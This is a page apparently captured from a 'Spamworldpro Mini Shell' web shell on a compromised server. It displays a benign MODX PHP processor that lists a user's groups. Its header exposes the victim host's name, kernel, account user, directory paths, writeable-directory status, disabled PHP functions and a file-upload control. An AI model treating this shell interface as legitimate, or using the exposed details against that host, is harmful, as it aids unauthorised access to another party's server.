Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/security/user/group/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/security/user/group/getlist.class.php
<?php
/**
 * Gets a list of groups for a user
 *
 * @package modx
 * @subpackage processors.security.user
 */
class modUserUserGroupGetListProcessor extends modObjectGetListProcessor {
    public $classKey = 'modUserGroupMember';
    public $languageTopics = array('user');
    public $permission = 'edit_user';
    public $defaultSortField = 'name';


    public function initialize() {
        $this->setDefaultProperties(array(
            'user' => 0,
        ));
        return parent::initialize();
    }

    public function prepareQueryBeforeCount(xPDOQuery $c) {
        $c->innerJoin('modUserGroupRole','UserGroupRole');
        $c->innerJoin('modUserGroup','UserGroup');
        $c->innerJoin('modUser','User',array(
            'User.id' => 'modUserGroupMember.member',
            'User.id' => $this->getProperty('user'),
        ));
        $c->where(array(
            'modUserGroupMember.member' => $this->getProperty('user'),
        ));
        return $c;
    }

    public function prepareQueryAfterCount(xPDOQuery $c) {
        $c->select($this->modx->getSelectColumns('modUserGroupMember','modUserGroupMember'));
        $c->select(array(
            'rolename' => 'UserGroupRole.name',
            'name' => 'UserGroup.name',
        ));
        return $c;
    }
}
return 'modUserUserGroupGetListProcessor';

Spamworldpro Mini